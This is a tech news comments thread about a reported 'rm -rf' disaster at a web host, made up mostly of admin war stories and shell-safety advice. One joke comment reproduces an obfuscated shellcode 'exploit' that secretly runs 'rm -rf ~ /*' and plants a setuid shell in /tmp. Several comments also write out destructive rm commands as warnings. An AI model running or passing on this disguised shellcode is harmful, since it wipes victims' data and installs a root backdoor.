"This question was removed from Server Fault for reasons of moderation. Please refer to the help center for possible explanations why a question might be removed."
Linux command line mistake 'nukes web boss'S biz'
The owner of a web host has unwittingly deleted his customers data after executing a powerful line of code on his servers. Marco Marsala has appealed for help to recover his punters' info after accidentally running a Bash script on his Linux servers via Ansible. Marsala is said to have 1,535 customers, although he does not …
-
-
-
Friday 15th April 2016 14:59 GMT Paul Crawford
More precisely, deleting stuff need write-access to the holding directory. Unless you are root, that user, or the user has allowed you via "group" membership & write permission (or $DIETY forbid, "other") then you can't do it.
Backups? Snapshot file system? I know its glib to ask, and we have all done dumb things in the past, but for a hosing business you like to assume there was *some* disaster recovery plan!
-
-
Saturday 16th April 2016 03:48 GMT Nick 26
> Backups?
The story went that the backups were in a mounted directory which rm happily traversed and trashed, which is not an inconceivable scenario if a naive user was backing up to a network share or Dropbox.
In the age of ransomware it's become even more important not to store backups anywhere they can be easily accessed.
-
-
Friday 15th April 2016 17:51 GMT Asterix the Gaul
It's why I never use an admin account when using Windows,or Linux flavours.
I cannot see how even a keyboard error can achieve the necessary command,yet alone how an idiot aquires 'root' privilges.
It's phoney,it's negative advertising & it's counter-productive.
I fail to see how any business with precious customers ignores the golden rule of, back-up-back-up,back-up.
-
Friday 15th April 2016 21:45 GMT Lars
"back-up-back-up,back-up". Some of our customers had a habit of using local (and cheaper) experts to add or change HDs and stuff like that to their systems, no hard feelings there, but at least twice those guys forgot to change the path for the backup, so indeed there was "back-up-back-up,back-up" each night but, but, but.
One other funny thing with the shell was when, for instance, you helped somebody with cp blaa blaablaa, and you knew in advance the that the voice in the phone would go - "no nothing, absolutely no nothing". That until you started to use the -v (for verbose). Actually it was not "one other funny thing" at all, just Friday.
-
-
Friday 15th April 2016 22:49 GMT Someone_Somewhere
> rm is avalaible to all users. <
Well, that rather depends upon whether the BOFH has decided to make rm require privileges ordinary users don't have.
> Deleting stuff in the root directory does require root access. <
Unless you're in the 'wheel' group.
Or some other group that has been granted that privilege.
Or simply granted that privilege as an individual user for some incomprehensibly foolish reason.
Or, for some even less comprehensible reason 'rm' has been applied with a setuid/setgid on '/'.
Or, even less comprehensibly than even /that/, '/' has been shared via samba and your user has elevated privileges thanks to an administrative cockup - this /is/ samba we're talking about here.
> Isn't this a tech site? Don't ya'll know this sort of thing? <
Erm, I think that's the whole point of the joke - pretty obvious really (somebody already remarked upon it above).
Except, of course, for the 88%+* market share Windows users, who have no idea what we're talking about.
* I might be being a bit charitable in assigning 10% to Apple - but I think 2% is correct for Linux.
-
Saturday 16th April 2016 08:28 GMT Paul Crawford
"Except, of course, for the 88%+* desktop market share Windows users, who have no idea what we're talking about"
Fixed it for you. When looking at anyone who would use (or even know about) command line actions, its probably closer to 50%.
Still, some additional "WTF?" options that allow (or not) such problems. Others recommend that most users don't get shell access, or the ability to execute programs in areas they have write access to:
https://www.gov.uk/government/publications/end-user-devices-security-guidance-ubuntu-1404-lts/end-user-devices-guidance-ubuntu-1404-lts
-
-
-
Friday 15th April 2016 14:22 GMT Anonymous Coward
rm -rf
> Rm is a Unix and Linux command only available to the root user that deletes objects like files
Ummmm, no.
1. It's rm and not Rm. UNIX or Linux is case-sensitive.
2. rm is available to everyone, not just to the superuser (root). Anyone can type rm -f or rm -rf or some other combo at a terminal prompt, or use rm in a shell script.
3. Whether or not a file or directory can be removed with rm depends on the access permissions on said file or directory (or symlink, hardlink, pipe, etc).
4. Yes, pedantic.
-
Friday 15th April 2016 14:41 GMT TJ1
Whilst you're here...
... so you avoid the other 'rm' gotchya that traverses into the parent directory of the target when intending to delete 'dotfiles' via something like:
rm -rf .*
which matches ".." - the parent directory inode - and will merrily remove all entries in that directory too.
The shell file-name wildcard expansion is responsible. Use this instead (example with 'ls' to avoid damage):
bash/dash/sh: ls .[!.]*
bash/csh/zsh: ls .[^.]*
which will pick all the dot-files but not double-dot (link to parent directory). Only time this will be problematic is if there are files/directories named with the style "...three-dot-file".
-
Friday 15th April 2016 14:41 GMT Anonymous Coward
I did this once (very nearly)
From the command line, in / I accidentally typed " rm -f * " on a production server.
After a few moments of utter panic, I noticed the missing "r" :-), and realised that actually in the root partition are VERY few files, and the directories don't get deleted without the -r :-)
I was able to copy the missing stuff from a spare server.
AC, because I want to keep my job.
-
Friday 15th April 2016 15:06 GMT Anonymous Coward
Re: I did this once (very nearly)
One of my first days out on my own as a junior consultant about 15 years ago, I accidentally deleted the inetd.conf from a clients production server... fortunately it was in a farm and inetd was still running (and only reads the file at startup) so everything was recovered in about 60 seconds. Still remember the brief and utter panic when I did it though.
-
Friday 15th April 2016 16:57 GMT Nigel222
Re: I did this once (very nearly)
Seriously. Never type rm -rf. Always type rm /what/ever then think hard then add -rf at the end then think very hard again before pressing enter.
One thing to think is where is the backup.
Another is to consider mv /what/ever /junk/stuff and wait a good while to see if the sky falls in before rm /junk/stuff -rf. This will render at least 9/10 career-limiting mistakes quickly reversible. Not 10/10 though.
-
-
Friday 15th April 2016 16:57 GMT Anonymous Coward
Re: I did this once (very nearly)
I've done the same with 'TRUNCATE TABLE <foo>' on a development database ... except ... "Oh F**K, DBArtisan(*) has quietly reconnected me(**) to production because I'd been looking at something there earlier instead of the database I thought I had switched to!!".
Fortunately was able to very quickly recover the table and lost data from a DR server though.
(* DBArtisan 4.x had the most shit unreliable user interface ever. It was often less painful to write scripts in a text editor and submit them using isql ...)
(** And yes regrettably I was using a support account which had enough privilege to modify the system catalogue ... I learned to set up separation privileges by responsibility thanks to this incident)
-
Friday 15th April 2016 18:07 GMT Zolko
Re: I did this once (very nearly)
From the command line, in / I accidentally typed " rm -f * " on a production server.
someone Iknow did rm -rf * in an remote login, wanted to clean a working directory full of garbage .... but somehow the ssh session terminated, didn't notice, and the command was executed locally in the $HOME directory.
-
-
-
-
This post has been deleted by its author
-
-
Saturday 16th April 2016 00:50 GMT Anonymous Coward
Re: "rm" stands for "remark"
> While "dd" stands for "destroy data" as we all know...
Yup. Years ago I was woken up in the middle of the night by a very pale-looking and unusually contrite colleague. Apparently he was following some work instruction on how to re-image the backup operating system disk on a production machine and did not think of checking that /dev/sdb was indeed the disk he wanted to re-image. As opposed to the disk containing some US$500,000.- worth of telemetry data which hadn't yet made it to permanent storage (massive amounts of data, slow disks).
Luckily I studied computer forensics for fun after my proper degree, and my knowledge was still reasonably fresh. Thirty-six hours latter without any sleep or warm food I had recovered *all* of the data. I just got lucky, for values of "lucky" in the range of "all the filesystem information got nuked but most of the data was still there, except that you had to know the details of the raw data structures and grep /dev/sdb for telltale patterns then puzzle it all together until you found the file boundaries, then you had to reprocess it all (with your own ad-hoc C code written for the occasion) to rebuild the data based on redundancies in the storage format for the relatively few cases where some data had got overwritten or could not be found, then you had to relink the whole thing into a properly named file with sensible-looking timestamps, which we could get from offline logs". That's how lucky I got.
For obvious job preservation reasons, word never got out of that office about the incident so all I got out of it was a big hug from a hairy bloke. But fuck it, just as easily it could have been me screwing it up, so no regrets.
-
-
Friday 15th April 2016 15:03 GMT Sir Sham Cad
Fake but plausible
Way back in the late 90's I interviewed for a webmaster post at a web hosting company, the name of which will be withheld to protect the guilty. I asked where the web servers were physically located and how we physically accessed them if needed.
They pointed to a single SGI workstation sat on a table and told me that was the web server. Running all of their clients web sites.
They neither offered, nor was I inclined to accept the job.
-
Friday 15th April 2016 15:05 GMT Anonymous Coward
This reminds me of the time I accidentally typed
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Oh how we laughed.
-
Friday 15th April 2016 15:13 GMT Anonymous Coward
From what I read elsewhere it wasn't quite a dumb as typing 'rm -rf /'. Instead it was in a script which was meant to be cleaning up data using
rm -rf ${DIRNAME}/${SUBDIRNAME}
.... but due to a typo in an earlier line these two variables had not been set to a value so the line expanded to the infamous "rm -rf /".
-
Friday 15th April 2016 15:45 GMT MacroRodent
Has happened in a guhly visible game system
Whether or not the issue here was real or fake, a year ago the Linux port of Steam was hit by a similar issue. Reportedly, it used to have a script with line like
rm -rf "$STEAMROOT"/*
Unfortunately, due to insufficient checking in the script, STEAMROOT could sometimes be undefined, so the line above expands to the file-system nuking command if run as root. If as nonprivileged user, it will delete the user's own home directory, often bad enough.
The moral here is that if you are going to distribute a shell script to other users, you just cannot assume things go well. You have to check for valid input parameters, command exit statuses, and whether environment variables that are needed exist and have reasonable values. This easily makes the script twice as long (or more) than a throwaway script doing the same operations under lucky circumstances. (And guess which versions books and web pages on scripting typically show as examples?).
-
-
This post has been deleted by its author
-
Friday 15th April 2016 15:39 GMT Dave 32
Format C:
Who amongst us hasn't typed "FORMAT C:" and then replied yes to the prompt without realizing that we had meant to type "FORMAT A:"? I certainly have. Whoopsie. Spent the next day rebuilding the system. And, yeah, I've also did variants of that on just about every other system I've ever used at one time or another (e.g., "FORMAT 191".). When you've been dealing with computers for close to 40 years, you have had a LOT of opportunities to make mistakes.
However, this also goes to show the silliness of only having one backup. A true IT professional knows that you never only have one backup. What happens if you have a file system error part way through the backup process, such that the original file system is wiped out, and the backup is corrupted? (And, this is coming from a guy who managed to wipe out 400 man-years of data, due to a disk crashing part way through a database compression!!! Felt like tossing my cookies when that disk error appeared. Fortunately, had another backup that saved my bacon. Whew!).
For the truly paranoid, one should ask themselves if their data will be safe if the technician down the hall accidentally denotes that nuclear warhead that he's fiddling with in the building.
Dave
-
Saturday 16th April 2016 07:29 GMT Anonymous Coward
Re: Format C:
I ran Fdisk on my computer and nuked the wrong partition after a panic I remembered I had a disk editor and was able to rebuild the partition table.
I have also deleted the DOS directory.
one of my biggest was working on a laptop that couldn't run a windows repair install I wanted to check the hardware and I thought my boss had imaged the drive, and I installed GNU/linux and and found out that the drive hadn't been imaged:-(
I got all the data back using File Scavenger. I got hell for that one but I still have a job that was about 8 years ago.
-
Friday 15th April 2016 15:51 GMT anthonyhegedus
Back in the days of DOS, I remember once we had a user who told me that she's been trying to delete these pesky "." and ".." files from every floppy disk in the office, and they can't seem to go away. On a separate note, she noticed that all the floppies were otherwise blank. I was only 18 or 19 at the time and I just thought "oh my fucking god"
-
-
Saturday 16th April 2016 14:01 GMT Anonymous Coward
Just reminds everyone why you don't ever test scripts for the first time on a live environment..
What? I suppose next you'll be telling me that running psdoom on a live multi-user system is a bad idea as well..
(And yes, I have done this on a live system, 54 people remotely logged in to shell accounts, and another 30 or so accessing their email via imap at the time..they didn't take the hint in the email that the system was coming down at a specific time that night so that I could upgrade its memory...I suppose I could just have shut the bugger down on them, but psdoom was a more fun way of getting them to leave..one way or the other)
-
-
Friday 15th April 2016 18:37 GMT gryff
Ansible ? So that's how...
..a network admin at my last company deleted all Linux instances in the entire company one Friday afternoon.
The prime and backup site were adminstered from the same environment, so the kill <INSTANCE> command propagated across all instances in the load balanced and linked setup they had.
They were an online service company, so the entire company went offline INSTANTLY (prime *and* backup) and it tooks days of backup restoration, rebuild and recover to get back online.
So much for virtualisation and redundancy.
Fresh underpants moment...
Moral of the story: Thou shalt not allow mirrored, redundant sites to be administered from the same environment by the same person at the same time.
(I'm not amazed it happened, I'm amazed they survived the near death experience..)
Thanks for the missing puzzle piece...I work in hardware now :0)
Names witheld to protect the innocent.
-
Friday 15th April 2016 19:04 GMT zb
But this all contradicts everything
we have been told about data security.
There are gazillions of web pages telling us how to safely dispose of hard drives. Everything from multiple overwrites to break them into a thousand pieces, heat them to 1000 degrees, grind them to powder and put it all in a safe for the next thousand years.
Now it seems that all one needs to do is run rm -rf as root "you just nuked your entire company.”
-
-
Friday 15th April 2016 22:10 GMT Anonymous Coward
Re: shutdown -h now
I did that once on a server I was building (debian on XEN), in stead of shutdown -r now. I had a continuous ping to the server from another terminal and was waiting for it to come up so I could continue.
Once the penny dropped the upshot was a rather embarrassing/humiliating call to our ISP, requesting them to please start up our server.
Same server, earlier on: this was my first serious server I built, as well as the first virtual one, so I wanted to do it right and by the book. So the first thing I did was to disable root login, then set up sftp permissions so that no-one can traverse up the directory. I tested sftp and it worked as intended, so once I was happy that the server was secure, I rebooted it.
It was only when I wanted to log on again, that I realised that I had done things a bit backwards and had not yet created any other users. Cue the first rather sheepish call.
The one positive aspect of mistakes like that is that it really makes one paranoid about checking and rechecking everything before committing the irrevocable final step. And doubly so on production servers.
AC, rather obviously, although I have told enough people of this so that it is not a secret, really, but maybe it is prudent to hide behind a mask for a change.
-
-
Friday 15th April 2016 19:14 GMT Frumious Bandersnatch
bang or
Can't recall accidentally typing something like this, but I've certainly borked things up a bit by using the shell history feature "!something" to re-run a previous command only to either have a typo that called up another command instead, or brought back a nasty command that I'd forgotten was in the history. Tab completion is also another great labour-saving device that brings its own problems.
The times I've accidentally done 'tar cf *" to make a tar file, accidentally clobbering the first file? More than once. Plus dd mishaps, obviously, especially on machines where enumeration of devices (sd?, mmcblk?) is essentially random after a reboot.
/measure twice, cut once
-
Friday 15th April 2016 19:50 GMT petef
I have effectively done this
Some time ago my work group had individual workstations, well 386 PCs actually running Interactive Unix. I had an account on a colleague's machine and they asked me to remove it. So I deleted /home/mydir/ but left myself a login with a home of / (root) and let my colleague know I had cleared my disk space.
They then proceeded to remove my account banging Y to all the questions, including that of remove home directory. The PC was bricked and had to be loaded afresh from floppies.
I filed a bug report to Sun who by this stage had taken over ISC. They did respond to my suggestion that the remove user script could have an extra safeguard but said they were not going to do anything.
-
Friday 15th April 2016 19:57 GMT tekHedd
ServerFault community
I saw the thread while it was up, and checked his history--he did a good job of establishing a history with some properly noobish questions, so it looked legit to me--no surprise people were fooled.
What really impressed me was how politely and helpfully the ServerFault community responded. Best response was something along the lines of "you're out of business; call a lawyer". But everyone took him seriously and was very helpful. So... not normal for the Internet.
-
-
Saturday 16th April 2016 07:59 GMT Anonymous Coward
Re: About the foo to the bar
'..US military slang from the Vietnam War era '
This side of the pond, I've been using SNAFU and FUBAR since the mid-70s..their origins go back a bit further than Vietnam..
SNAFU - Private Snafu (WW2)
FUBAR officially dates from the same time period..though I seem to remember a reference somewhere to it being in use back in the 1930s.
We need an El Reg Private SNAFU icon, for, y'know, moments like those we're discussing here...
-
-
Saturday 16th April 2016 04:12 GMT Nick 26
I done plenty of deleting directories I didn't mean to using badly defined variables but two similar cockups stand out in my memory:
The first I've done a few times is accidentally adding an additional / to the "src" of an rsync command when trying to update a subdirectory, for example:
$ ls /bar
aaa bbb ccc ddd eee
$ ls /path/to/foo
file
$ rsync -a --delete /path/to/foo /bar
$ ls /bar
aaa bbb ccc ddd eee foo
$ rsync -a --delete /path/to/foo/ /bar
$ ls /bar
file
There's then a slow dawning realisation of what's happen, I swear profusely and think "oh shit, where can I get that data back from?"
The other was when I was a young misguided tcsh user and I was telling some veteran ksh users how good it was because it had features like "set rmstar" where it would warn you if you do "rm *" and proceeded to demonstrate this in my home directory on my network login on a different machine than I normally use in a shell where it was unset, much hilarity ensued.
-
Saturday 16th April 2016 20:06 GMT Stevie
Bah!
And another young man discovers that the hubris-rich axiom from his CS degree course "Unix admins doon't need an 'are you sure?' button because Unix admins know what they are doing" has an important unspoken loophole: "until they don't".
Unless this is a misidentified April Fool and the Satanic Messages In Harry Potter story rides again.